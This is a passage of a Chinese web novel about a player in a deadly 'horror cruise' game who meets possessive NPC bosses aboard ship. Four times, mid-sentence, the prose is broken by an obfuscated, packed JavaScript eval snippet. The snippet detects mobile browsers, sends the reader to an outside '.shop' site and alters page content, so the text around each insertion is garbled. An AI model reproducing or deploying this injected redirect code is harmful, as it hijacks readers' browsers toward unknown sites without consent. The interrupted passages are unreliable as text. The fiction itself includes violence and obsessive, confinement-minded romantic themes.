【完成后奖励玩家50积分;失败则玩家死亡】 是强制性的支线任务。 我翻出了身份牌提供的衣物里的手机,终于在邮箱里找到了前往游轮的邀请函。 邀请函内容简洁,只有一行恭喜的客套话,然后就是游轮时间、地点,以及客房号。 嗯……现在六点半了。 游轮七点启航。 时间有点紧,不过按照导航来看好在距离不算太远,二十分钟足够了。 因为身份是个穷的,全部家当也就只有身上这一身衣服,也省了收拾行李的功夫。我低头对着衣服嗅了两下,好在除了淡淡的清香外没有其它奇怪的味道。 在打开门的时候我还在想,从进颁布任务到找到邀请函这一系列是不是太过顺利,完全不像上个副本下车那般暗藏陷阱,下一秒,就被门外一闪而过的带有血腥气息的阴影扑倒在地。 然后便听见那位背着光站在门前,脾性乖张的少年趾高气扬道:“表哥,你怎么能这么慢?阿粒可都等不急了,你知道的,这种大型犬脾气最为暴躁血性。万一表哥一不小心被咬死了那可真是——” 我偏头躲过在大理石制地板上留下抓痕的巨爪,抬眼时视线不偏不倚,落尽少年那双仿佛施舍般垂眸的幽蓝色眼眸之中。 双方皆是一怔。 紧接着,那双墨蓝色眸子里漆黑的部分沉了下来,如稠了的血般凝固漫溢出兴奋。 【触发性质1,触发对象对您产生好感】 【触发性质1,触发对象对您产生恶意】 【好感升高】 【恶意升高】 【好感升高】 【恶意升高】 【好感升高】 【…………】 什么玩意。 我率先移开了眼神,活动了下被压麻的腿,然后碰到了一根带着热意的……舌头? 再然后,我看到了一只尾巴摇得飞快的大狗。 “……” 耳边又是一阵系统提示音,感受到手上恶心的口水,我面色蓦地沉下去。 在动了杀意的瞬间,那只狗被踹飞了出去,而他的主人缓缓收回腿,此时挑眉朝我伸出了手。我便也借力站了起来。 顺便偷偷将沾了口水的那只手往对方手上擦了擦。 人物介绍早在少年出现时便收到了。 安东尼·威廉。 老贵族家族现任掌权人的继承人之一,是我这个身份牌名义上的弟弟。性格跋扈嚣张,但由于手握重权且手段狠辣,格外受掌权人器重和喜爱。哦,我是个不受待见的私生子,用来给这个小少爷当靶子的,在他那里最多算个见面不多的脆弱玩具,没权没势也没钱,甚至欠了一屁股债。 “你叫什么?”少年把我拉起来后便一直神色不明的看着我,此时忽然开口道。尽管对方今年刚17岁,身高已经高出我现在身体大约一头,身形修长。从头到脚一身昂贵名牌,藏蓝色休闲外搭下隐隐绰绰挂有一条骷髅头项链。 “时——” “别提那个软弱无能的废物。” 安东尼带了些烦躁地皱着眉打断,“你是他的……情人,是吧?他就送你这么个破地方?真够寒颤的。如果是我…啧,他现在在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13673258|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪知道吗,我找他有事。” “我——” “我和你的事情待会再说,”少年紧蹙的眉稍稍放缓,温声道:“我知道我很优秀,你想现在立刻踹了他来追求我也不是不能理解。作为我的追求者,看你这么喜欢我,我勉强答应给你一个许愿的机会。不过现在我还有急事要做,你快把他叫过来吧。” “?” “…………” 我沉默了。 这都他爹的什么脑回路。 堪比上个副本我在青年家里看的那个八点档狗血剧里脑子进水的自恋傻*男主。 【宿主您涉猎还蛮广的。】小白评价道。 【对了,系统提醒您要注意人设——】小白把不断的系统提醒放了出来。 【请宿主注意人设!】 【请宿主注意人设!】 【请宿主注意人设!】 …… 魔音绕梁。 脑瓜子嗡嗡。 【综上所述。】小白冷静道,【收一下外放的杀意吧哥,就当是为了咱俩的神经不再被吵得衰弱。您现在是柔弱小白花,不是冷漠食人花,一共三次提醒用完立刻被送往惩罚副本。】 我:【咦?你还有神经?】 小白:【……这不是重点。】 小白:【现在还剩两次……请您不要用那种跃跃欲试的目光看着我,我有点害怕。】 哦。 好吧。 我转念一想:【你什么时候学会说冷笑话了?】 小白:【刚下载的,您要吗?】 我:【行,发我一份。】 那头安东尼已经说到结婚了,什么股份财产都给你之类的,我低头扫了眼手机,嚯,六点五十八。 七点启航来着? 我轻轻拽住了还在畅想未来的安东尼的袖子,后者止住了嘴,幽深的眼睛微眯,看向我的目光依旧高傲。 “我就是时无序。”我一口气快速说出了这句话,“是你口中软弱无能懦弱胆小的废物哥哥。” 虽说如此,但我还是时刻警惕对方下一步的动作。 根据少年之前的一系列丧智举措,我怀疑他会接受无能,死不承认‘疑似废物白给哥的柔弱小情人就是他哥’这个事实。 少年脸色如同调色盘,青一会紫一会红一会黑一会,最终停留在冷色,颇有几分手握重权的继承人的模样。 “那就走吧,带你去开开眼界。”他最终还是牢牢握住我的手腕,眼中神色复杂。 本来我还在担心会不会迟到,现在不用了。 因为少年有架直升机。 好吧,看在直升机和上帝的份上,我就不把这条蹭来蹭去的狗踹下去了。 31.惊悚游轮(3) 玩家初始地点基本相同,都是降落在各自家中,需要自己找线索前往游轮。 至于那些标准时间内没找到邀请函的,或是没来得及通过检票登船的,尸体都已经凉了。 都老玩家了,很少会有通不过开门杀的。 轮渡餐厅里,觥筹交错间,对上暗号的玩家三三两两聚在一起交谈得到的情报,在基数更大的npc中并不起眼。 “987,刚开局就死了13个。” 身着鹅黄色高档礼裙的贵族小姐低声道:“这可不是什么好事。” 她抬眼扫过身边其他玩家,“你们也是被抽中的幸运儿?” 其他玩家也不掩瞒,纷纷点头。 其中一个戴眼镜的男玩家推了推下滑的眼镜,敏锐的看向贵族小姐,“你发现了什么?” 大有如果一言不发就强迫对方开口的架势。 贵族小姐嗤笑一声,“催什么。现在可是你们需要我的线索,我建议你态度好点,比如说……先求求我?” “你!” 眼镜男轻而易举的恼火起来,撸起袖子想要上前再说些什么,却被身后的玩家伸手拦住。 “姐。”她身旁同样是贵族着装的女孩也扯了扯她的衣摆。 女人递了块蛋糕给女孩,“行了我直说吧。原住民里获奖抽中邀请函与通过行使权力拿到邀请函的比重是1:1,而玩家,无论身份,毫无例外全是通过第一种方式拿到的邀请函。” “主系统对我们的态度一直不阴不阳,持中立态度,甚至有时还会稍稍偏向玩家。但副本意识可不一样,它可是恨死了咱们这些【外来者】了。” 看玩家多少明了的神情,她抿了口红酒,继续道:“如果我没猜错,这次副本恐怕会先拿咱们这种被抽中的开刀,原因不明。副本行事从来不会没有逻辑,因此这个副本的调查切入点就是这个。最后,注意遵循规则,小心行事。” “我们凭什么听你的?”话音刚落,一旁抱臂眼镜男故意找茬似的挑刺,“万一你是在骗我们,故意说错消息让我们以命去探副本规则呢?” “我可不信会有玩家好心到无偿将副本信息透露给我们。” “你不带脑子我可不像你似的。这不是竞争本,多一人知道就多一份力量。”女人将眼镜男身后众人的表情尽收眼底,随后冷笑一声:“反正话我放这了,你们爱信不信。” “混蛋!”低头吃着蛋糕的女孩突然红着眼抬头,“你这人怎么能这样?明明姐姐她为了这个消息……” “小夕!” 女人猛地变了神色,原本高傲的神色退了大半,她冷淡又防备的看了眼其余玩家,摆摆手略显疲惫道:“散了吧,我要带着妹妹去休息了。” 说罢便不顾身后低声窃窃讨论的玩家,离开人群,走到隐蔽的暗处。 餐厅很大,餐桌美食琳琅满目。 确认周围没人跟上后,被叫“小夕”的女孩‘嗖’的一下吞掉盘子上的蛋糕,扬起小脸笑道:“队长,这下那群玩家估计起码信了八分!” “队长主意真好,用猜测的线索换这部分玩家去探索。” ‘眼镜男’从另一旁走过来,边走边如春蛇蜕皮般脱下人皮,萎缩的皮溶解在空气中,露出一位满脸幽怨的少女。“如果不是我扮演‘反派’角色就更好了。天知道当我打断那些玩家听‘线索’时感受到的怨气有多浓厚!啧,我都要怀疑他们准备当场动手了。” “这不红脸白脸唱起来更有效嘛。”被称作队长的女人理直气壮,“何况就算他们一起上都打不过小夕。” 少女翻了个白眼,她插了块蛋糕放在嘴里,愁眉苦脸叹气:“得了吧。玩家目前到场人数堪堪到总数八成,大都在T8列和T7列,本就成不了什么气候。重头可是在除去咱们这种打酱油的一成多外的那些人!如果真为‘那份’力量争起来,恐怕咱们占不到一点好处!” “而且有了咱们这种【偷渡者】,玩家平均实力恐怕已经远远超过副本要求数值了,副本难度不知道会翻几番……真是,倒霉透了!” 按照她们的实力,本不应进入这个副本。 小夕又抓起了一旁餐车上的一整盘烤乳猪,大大张开的嘴如若吞掉了她的面部五官,占了小姑娘整张脸大,只需一口便轻松连骨带肉一并吞进了肚,听到这句话也只是笑嘻嘻道:“你该不会真以为咱能抢过那些平日里神出鬼没的总榜靠前的‘怪胎’吧?” “啊?!她\他们也在——?!” “别激动嘛。据公会小道消息,大概……至少一位大人来了!”小夕狡黠地眨眨眼,“而且很大概率用的分身人偶,具有合法的玩家身份。” 【分身人偶】,简称‘分身’,系统商店出售高达一百万积分的T4列一次性道具。使用者需要输入一缕消除本体记忆的分魂进入人偶内,即可在人偶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687523|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死亡后获得人偶通关所得积分、道具等。 “所以咱们到底是来干嘛的?” “当然是——公费的死亡旅程啦!” * 安东尼带着一队人大摇大摆地登上了船,完全视值守的船员于无物。 当然,也没人敢拦他。 因为凡是被他看见的,无不面色惨白,豆大的汗珠滚落,更甚者当场腿软跪了下去。 安东尼十分无趣地收回了视线。 跟身后人比了个简单的手势,少年转身快步走进监控盲区处的专属通道。 那是一个隐蔽的电梯间。 深蓝色的瞳孔通过红外线扫描打开了电梯门,电梯内漆黑一片,安东尼走了进去。 但当站在一片空无一人的黑暗中时,他却像是感受到了什么令他不喜甚至厌恶的东西,轻视嫌弃的神情不加掩饰,有些烦躁地避开一处空地。 少年烦躁的打开了手机里的某个监控录像,当看到此时正在四处乱逛的哥哥时,他阴郁的心情瞬间好了起来。 他才不喜欢一个家族驯养好的陪玩的小东西,也厌恶从犄角旮旯冒出来的什么私生子,只是……只是哥实在是太可爱了,头发软软脸软软,浑身上下都是香香的,每一根头发丝都是他会喜欢的样子!怎么会讨厌哥呢,哥就是世界上最可爱最完美最有魅力的人类! 当他搂住哥时哥会轻轻颤抖,眼尾粉粉的眼睛黑黑的,脆弱单薄的躯壳会微微向里缩起,就像……一只洁白的羔羊。 原先想找点乐子的兴致也完全被那人占据。 至于之前闹得乌龙……安东尼脸色一阴。 哪个废物收集的资料,怎么连照片都是偷工减料弄出来的,连哥哥万分之一的神态模样都没拍出来,还害得他认错了人! 该死的。 不过正事还是要先处理的。等他这几天处理完老头安排的事就能抽出时间陪羊羔度假了,顺便还能送点好东西…… 安东尼似乎想到了什么,有点苦恼的想:哥可能会被他送的“礼物”吓到。 会吓得嘚嘚嗦嗦的攀附在他的肩头,眼尾沁着粉意,缩进他的怀里——如同贪恋母亲温热体温的新生儿那般。 哥只能依赖他。 电梯门缓缓关闭,缝隙中少年似是溶解成液体的半边脸兴奋地扭动着,如同马戏团黑罐中扭动着的美人蛇,而完好俊美的那边流露出病态的潮红。 32.惊悚游轮(4) 第五层。 红色暖灯下,热闹沸腾的人群中时不时传来激动亢奋的大叫声。骰子摇晃发出的声响、盛流光溢彩液体的酒杯的碰撞声此起彼伏。 所谓赌博,自然有输有赢。 一局翻身从受尽鄙薄的穷光蛋到光鲜亮丽富豪的有,但更多的还是千金散尽,被戴上象征“奴隶”枷锁的倒霉蛋。 即使这样,坐上赌桌的人仍只增不减,围观的,被围观的,一贫如洗的,盆满钵满的,各个阶级的,不同肤色的,人们或紧张或恐惧或亢奋晃荡着手中的筹码,似不知疲惫。在接二连三仿佛永远不会停下的高速赌博中,赢了的人双眼发直、浑身血液直充头顶,沦为直白且浅薄的欲望的傀儡;输了的则如坠冰窟、浑身僵硬,却寄希望于飘渺无痕的幸运女神,祈祷自己会在下一轮中受到青睐…… 无论哪种,最终的最终,都逃不过被告知——“您已失去坐在这里的资格。” 第五层往下就是角斗场,台下观众或激昂或恶劣的喝彩声、台上参赛者拳拳相搏的击打发出的声响,即使处于赌博的嘈杂中也能听得一清二楚,暴力因子协同对血腥的崇尚色彩活跃在周遭,空气都仿佛燥热起来,不断煽动着过路人亦或当局人岌岌可危的理智。 躁动因子在体内活跃着,如同潘多拉魔盒开启前的开胃菜,挑拨着脆弱神经。 仔细分辨还能发现双眼发红的人群不乏玩家的身影,一些意志力弱的已经彻底沉沦在极差情绪带来的刺激中。 这只是第一天。 “愚蠢。” 自始至终隐匿在黑暗中的人只看一眼便失去了兴趣,身上矜贵冷漠的气质与整个赌场截然不同,宛若处于两个不同空间。 “少爷,人还没找到。”不知何时出现在青年身后,身披黑色兜帽的人恭敬回道。 听到有关少年的消息,弗莱德这才吝啬的给了黑兜帽一个眼神,神情淡漠:“威廉家族那边找过了?” “找过了,目前除了第十三层外其余每个角落都派人去过。” 楼层越高身份越尊贵。 即使是弗莱德,没有合适的理由都无法堂而皇之的进入同楼层住户的房间。 他调查过男孩的背景,威廉家族不受宠的领养少爷,这个身份断不可能进入十二层以上的区域。 “那就继续找。” “少爷,家主大人说…”猛地对上青年睥睨的墨蓝色眼眸,黑衣人心下一惊,想要转身逃跑却已经晚了,呼吸间化作一滩嘀嗒血液的腐肉。一旁的荷官见怪不怪的收拾起了散落在瓷砖上的残渣,很快周围一切恢复如初,角落里的一切发生在黑暗中,没能引起第二个人的注意。 “第四百三十四教条,实力决定位次。” 弗莱德慢条斯理地擦着不曾染上血渍的手指,随手将纸巾落在身后新冒出来的黑衣人身上。 “记得告诉那个老东西,没能耐就老老实实的等死,不要总来烦我。” “虽然我一向尊老爱幼,遵循组织教条……嗯?” 察觉到周围气氛地变化,弗莱德敏锐抬头。 布满红色灯光与压抑疯狂的空间陡然安静了一瞬。 赌博的,围观的,大笑的,尖叫的,哭泣的,愤怒的,乃至自始至终冷静的,在这一刻都忍不住将目光凝聚在那个点上。 视线的尽头是位有着一头细软黑发的亚裔男孩。 男孩睁着一双无辜的圆溜溜的黑色眼珠,像是在迷茫自己到底迷路到了哪里。苍白脆弱到几乎透明的皮肤裸露在外,被黑暗里凸出的眼睛贪婪地描摹着。倘若目光有实质,恐怕少年此时已经面色潮红的瘫在原地,眼尾漂亮的绯色轻颤,被迫感受着肆无忌惮的舔舐触碰,却无力阻挠只能茫然的看着四周了吧。 是只误入狼群的小羊羔。 还是他翻遍了整艘轮船都没找到的那只。 赌场本就是一个不断刺激扩大人心底欲望的深渊,凡是沾上这瘾的,无不会被胸口脑海中的欲望之火烧得顾不得头身,陷入泥瘴,从此忠于混沌的沼泽。 但即使这样,也正是因为这样,在看到美好圣洁的事物时仍会不自觉被吸引,下意识去追逐——沉溺又痴迷,如同瘾君子追逐毒品,至死方休。 很快,第一只爪子伸了出来,迫不及待。紧接着,是第二只,第三只……那只处于争吵斗争中心的小羊羔将会落得怎样的——可怜,可悲,又可恨的下场呢? 当然,弗莱德对此不感兴趣。 他烦躁地向前迈出几步,紧接着,他与整个赌场都目睹了—— 他们心中的柔弱“小羊羔”一个利落的过肩摔,将身型是他两三倍大的“大灰狼”‘砰’的摔在地上。 哦,还摔出了一滩血渍。 至于倒地那位……如果没有意外,恐怕这辈子都看不见明天的太阳了吧。 急匆匆上前的弗莱德:“?” 一向矜贵自持的贵族难得失去表情控制能力,企图英雄救美的脚步也被扼杀在了摇篮里。 咳,或许应该重新评估一下威廉家族的实力了。 他看着大杀四方的小羊羔,尽可能保持冷静的想。 * 我低估了身份牌带来的负面影响。 再一次踹飞扑来的满脸痴迷的npc,我有些不耐烦。 不是说讲究概率吗,怎么大半个空间里的人群都中招了? 其中甚至还有小部分玩家。 猛地将朝我飞来的剑踹入墙体,心想还他妈是老乡。 小白提醒让我尊重一下人设,我反驳虽然我拳打壮汉npc脚踢各路玩家,但我仍然是一个柔弱怯懦惹人怜惜的小羊羔。 两者一点都不矛盾啊。 【好一个武力超群的脆弱羊羔。】小白笑了几声,后来可能感觉这样不太好,又刻意严肃道:【这次警告肯定是必然的事,除非主系统眼睛瞎了……不过做得好。敢觊觎我们宿主,揍他丫的!】 我撇撇嘴。 事实证明主系统可能、也许、或许、确实瞎了,又或者我的逻辑可以自成一套,系统那边没再传来警告提示音。 本来是想探查一下地形就离开,结果露个面场面乱套了不说,偏偏又不能违反规定对npc与玩家下死手。 再次躲开玩家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699821|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扔过来的技能,我借着赌场工作人员的掩护闪身逃离这个是非之地。 早在登上船的瞬间我便收到系统下发的支线任务二—— 【请在以下三个场地中选择其一进行消费:酒吧、角斗场、赌场】 因此当看到玩家参与赌博时自然不会惊讶。 只是不清楚那些npc为什么会出手拦截那堆受卡牌性质影响而犯神经的人。 首先排除为了维护秩序——毕竟我这个‘罪魁祸首’已经顺顺利利的出来了。 我叹了口气。 不论如何,能早点离开那里总归是好事。 方才在赌场里扑来的都是些意志力弱的普通npc和玩家,也只是那片暗的浅显一角。真正让我感到危险的那三两道视线来源深处那些隐秘而看不清方向,这也是我毫不犹豫离开的原因之一。 轮船一共有十三层。第一层是餐厅,第二层是舞会厅,第三层是酒吧,第四层是角斗场,第五层是赌场,六层到十二层则是住宿的房间。越往高数房间数量越少,身份越高贵。 我手上有两张电子门卡,分别是1109号与1203号。前者是本属于我的那张,后者则是便宜弟弟给的。 这两张我都不会用。 便宜弟弟安东尼给的那张不用说,他本人就是个危险角色,我也对他没兴趣。 至于我的那张…… 安东尼家大业大,住在最高层很正常,可是‘我’呢?我可不认为威廉家族会把一个没用的玩物安排在仅此十二之下的十一层。所以门卡的来源和目的并不单纯。 除此之外,最高层第十三层被设为禁区。 13,一个被西方大多数人视为不祥的数字,如今更是别有深意。 我蹙着眉。其实在看见这艘游轮的第一眼时我便感受到扭曲的违和感、丝丝缕缕没由来的恶意,这种感觉在踏入赌场大门的那一刻更加明显。 想了想,我转身走进餐厅,还是决定先填饱肚子。 出于身份牌的限制,如今相当于有了一具肉体凡胎,虽然实力还在那,但会饿会渴。 锤人的那只手隐隐发疼。 我还以为是因为之前揍人的时候没注意刮掉了肉,结果低头一看只是破了皮,笼罩在骨节上的皮隐隐有血痕。我无语的想这或许就是对应卡牌中的“身娇”。至于方才打群架时手脚总是用不上来劲……大概是“体软”吧。 餐厅很大,如果非要作比较的话,我想它足够装下上个副本的整个小镇,或许还能再多些。 餐品精致美观,排放整齐,种类颇多。 海鲜占了一大半。 这对于行驶在海面上的一艘轮船来说并不奇怪,但我还是避开了。 异于人类的身体构造使我觉得这些海鲜又臭又腥,还有种古怪恶心的气息。 唉。 蔫蔫嚼着绿色食物的我只想劈开这个副本后逃走。 【想吧,毕竟你也只能想了。】心魔突然蹦出来嘲讽。 心魔挖苦我,想把心魔绑在雷雨天御空飞行的剑柄上。 【?】 嗬嗬。 33.惊悚游轮(5) 我正在面临一个艰难的选择题。 是无视眼前不知道从哪里冒出来的红毛,继续吃新发现的美味小蛋糕?还是将小尾巴一样跟在后面的红毛的脑袋按进临近的大蛋糕里? 【不,两个都不行。】 【不可以。】 对,不行。 第二种太浪费食物了。 我若有所思的看着青柠味的精致大蛋糕,又看了看不远处摆放的鱼肉。 还是按鱼肉里面吧。 【人设,人设啊。】 我抬腿向鱼肉那边走去。 余光中红毛跟了上来。 【宿主,不要啊宿主。】小白机械音捧读,毫无带入感可言的声嘶力竭,情感匮乏得一点不像话本里逼良为娼的可怜人儿,反倒像天天打工的007社畜。 我卸载了小白内存空间里的“魔尊夺舍之抢夺小白花”的话本,并不再寄希望于将个人系统培养成说书统子。 看着近在咫尺的红毛,我悄悄抬起了罪恶的手。 接受制裁吧,变态跟踪狂—— “离我的表哥远点——!” 背后蠢蠢欲动的手一顿。 坏了,这熟悉的声音,好像是冲我来的。 猝不及防,我被飞扑而来的便宜表弟撞飞。 我:?! 坏消息,飞出去不是我。 更坏的消息,飞出去的是那款我最喜欢的小蛋糕。 我看着它在空中三百六十度转着华丽的圈圈,上面摆放漂亮果肉晃得七扭八歪,最后不堪重负,“啪叽”一声扣在地上。 还是正面朝下。 我:!! 浑身血液在那个瞬间冷透了,我只觉得脚底发凉,凄厉的悲鸣声从心底真挚的发出—— 天杀的!安东尼,我要报警抓你!! 旁边的红毛看起来也很气恼,他抓了抓头发,郁闷道:“妈的,好不容易看上一个怎么还是你的人!” “喂安东尼,价随你出,把他给我。” 潜水的小白评价:【是个勇士。】 我在“悲愤欲绝”之余,还不忘回道:【待会说不定就成烈士了。】 性格恶劣,玩心强又位高权大,这类人都有一通病,那就是即便是他们不要的东西,也断然没有被别人夺走的可能。凡是经他们手中流出的,必定是他们自愿施舍的。 果然,那边安东尼的脸色已经彻底阴了下去,他眯起眼睛,又很快轻笑出声。 那是明晃晃的嘲笑。 “亚当斯。你一个半路出家的,手上能有什么值得我青睐的?你也配?” “退一万步讲,你手头真有什么我感兴趣的——直接抢过来对我来说还不简单吗?” 少年眉眼弯起,墨蓝色的瞳孔中却没有丝毫笑意,反而冰冷刺骨。“还是你觉得我当真会因那些条条框框的死板规矩有所顾虑?” 无声的硝烟在空气中蔓延,仿佛战争一触即发。 我在心里大喊:打起来! 趁乱还可以再顺几份甜品。 天助我也。 这俩npc之间应该本就存在矛盾。 安东尼背后有家族,但其地位在家族里也已经是数一数二的了,红毛能坦言要人,说明两人地位起码持平。 游轮背后组织的人会是他们吗? 不管如何,如今我在暗他们在明,也算是件好事。 最重要的是——还可以看他们起内杠! 我乐滋滋的想。 还好刚刚没来得及把红毛脑袋扣鱼里。 要不然这个副本还真不一定能一下打俩。 提起红毛,本以为被安东尼挑衅后他会暴跳如雷,没想到男人跟没听到似的 ,若有所思的瞥了眼安东尼后便雷打不动的将注意力放在我身上。 倒不是头脑发达四肢简单的那类。 我想了想身份牌,对他挤出了一个柔弱的笑。 虽然之前没试过这种性格,但如今配上卡佩加持的外貌变动,翻个白眼在别人眼中恐怕都是脆弱无助、惹人怜爱的可怜人儿。 对红毛亚当斯笑完,刚好踩着安东尼变脸的界限,我又拉起少年的手,故作泫然欲泣:“安少爷,您,您和这位先生吓到我了……能不能先带我离开这里?我好害怕。” 才怪。 刚注意到小白那边“噔噔噔”弹出的提示音,我才想起来好像待在餐厅里的时间过长了。 以至于吸引了一些不必要的视线。 这两人起争执时吸引了不少注意力。 “吓到了?”安东尼当即收敛了脸上的不虞,眉眼间带着愉悦,反握紧了手,“那我们一起回去。” 这位喜怒无常的少爷勾起了嘴角,朝亚当斯示威般扬起和我握紧的那只手,挑衅一笑,“回……只有我跟哥哥两个人的地方。” 红毛是个什么样的神情我无从得知,毕竟耳边是少年阴森森的威胁:“表哥,你这一眼如果再落到他身上,我就把你锁起来,让你整日整夜只能看到我一人。” “……” 我面容有一瞬扭曲——这糟糕的台词。 十七八岁的小孩也不知道从哪学来的乱七八糟的东西,毛还没长齐就学着别人玩囚禁那套。 小白道:【宿主小心,这小孩是认真的。他在听到红毛朝他要人时卡牌性质1就被反复触发……哦大概从您的左耳朵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707590|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进去后又从右耳朵出来了。】 【?】 小白又翻了翻记录,【阴暗的欲念,其中包含捆绑、囚禁……宿主,您别笑出声来了。】 【咳咳。不好意思,只是突然想到了一些比较古老久远的狗血话本。】 我揉了揉脸,稍加思考,【接下来是不是还得上演‘他逃他追他们都插翅难飞,炸鸡配番茄又是谁的爱’?或者‘落难娇妻带球跑,三年后,王爷发现那位驰骋沙场的蒙面女将军竟能如此熟悉的牵动着他的心神’?】 ——……好、好长的标题! ——不对!这分明和主题八竿子搭不着边,跑题了! 小白一梗:【宿主您认真点罢,我知道您有足以匹敌的实力,可您旁边两位可都是货真价实的boss。别人遇到他们都哭爹喊娘,到您这,您还搁这里乐呵……行了别乐了,再乐就要被发现了。】 少年也确实很敏锐,我憋笑的瞬间他就发现了,但—— “刚刚只不过是我随便说着玩的……啧,哥你该不会真害怕了?” “……” “我又不会真杀…伤了哥,你别抖了。” “……” “我发誓如果我真有伤害哥的念头,我不得好死,真的!刚刚在餐厅里也只是给亚当斯那个傻逼做做样子,他总喜欢强人所爱,我怕哥真信了他,而且回房间时没找到哥,以为哥被坏人拐走了所以一着急说的话重了些……哥你理理我,不要刻意背着我也别再发抖了,我是真的没有想要伤害你的意思!” “哥有什么喜欢吃的吗,我现在就去叫人给你拿过来,我、我也可以先离开你身边,你先静一静,好不好?” ——但是,发现的方向好像不太对。 安东尼围着捂着脸生怕笑出声的我转圈圈,小白锐评:【假如他有尾巴,现在那只尾巴应该已经耷拉在地上扫半天地了。】 我抖得更厉害了。 哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈。 哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈。 小白:别管,他超爱。 ——什么嚣张跋扈、手段狠辣。 ——这分明是个在哥哥面前挺不过十秒的兄控。 我好不容易冷静下来,冲快急死的安东尼摇摇头示意自己没事。 刚刚小白那番话倒是提醒了我——卡牌性质三百六十度无死角的平等对待副本内每一位生物,而目前我跟安东尼相处的时间最长,对方也最危险。因此不管眼前这位准boss是怎么想的,现在当务之急是先甩掉他,然后再做其他打算。 我需要离开他。 34.惊悚游轮(5) 少年已经拉着我进了私人电梯,目标是十二层。 电梯间可以单向看到外面,上升速度极快,几乎是瞬间就到了12层。 1203号客房。 少年用卡刷开了房间。 与其单纯说是房间,不如叫小型公寓。一共有四个相连的单间:卧室、卫生间、客厅以及游戏厅各一间,面积都很大,有短暂生活过的痕迹。 色调是沉郁的蓝黑色,如同深海一般。 室内只开着橘黄色的小台灯,光芒落不到的大片地方隐约似有异物蠕动,毛骨悚然。 这种家具配色并不符合安东尼目前表现出来的喜好。比起沉闷和阴暗,能够表达极致强烈情感的色彩更适合他,比如火红色调。 “哥不喜欢这里?”一旁安东尼抿嘴,一向桀骜的眉眼微皱,攥住我的那只手也无意识地收紧。近距离下我看见他墨蓝的瞳孔自发的扩散,就像一滩摊开的墨水,“也是……这里又小又破,住着也不舒服,看不上这里也是应该的……” 室温随安东尼越来越轻的声音而缓慢但显著的降低,昏暗灯光下影影绰绰。 我感觉他要化掉了。 ——物理意义上的。 “可是只有一床被褥啊,安少爷。”我小声打断,“没有被褥,这里又这么冷,我睡在客厅会受凉的。” 像是触碰到了某个开关,室温骤暖。 “谁说你睡客厅?”小少爷疑惑的歪头. “你和我当然睡一张床上。” “还有。”他皱眉,嘴角向下耷拉,“别总安少爷安少爷的叫,听着就烦。你可是我哥,叫我名字或者安东,都行。” 我做出一副犹豫迟疑的模样。 一直在观察我表情的安东尼果然一顿,“怎么了?” “可是安少…安东尼,我家乡那里有规矩,只要是未婚的,无论男女都不能跟他人同床。”我假装纠结。 他一愣。 “……还有这样的规矩?”少年眼里有狐疑,耳朵却爬满红意。 “算了,我相信哥不会骗我的。” “那我找人拿床褥上来……” “拿什么。”他快速打断,手里握着刚从冰箱里拿出来的可乐,单手拉开拉环,挑眉道:“除了卧室还想睡哪?我睡客厅,其余用不着哥操心。” “待会想吃什么直接用放在床头的设备跟我联系,我叫人送上来。” 他看了眼腕表,边朝门口走便说着,“我还有点事,晚些回来。” “对了,你们家乡的规矩……咳咳不错,我很欣赏。” 小白说那背影多少有点仓皇而逃的意味。 我夸它很会脑部,不去做旁白可惜了。 门被“咔哒”一声关上。 空荡荡的房间在少了一人后更加阴森。 说不清是错觉还是什么,我竟感受到有股阴冷气息抚过后脖颈,似无形的手在轻柔又珍重地摩挲着那块皮肤。 还属于生物的温热身体惊起了一层鸡皮疙瘩。 我打了个寒颤。 这里……难道不是封闭空间吗? 轻手轻脚穿过卧室,没有安东尼的陪同下我顺利挨个房间翻了个遍,只是可惜一无所获。 随着时间流逝,本就不亮堂的房间似乎愈发昏暗。 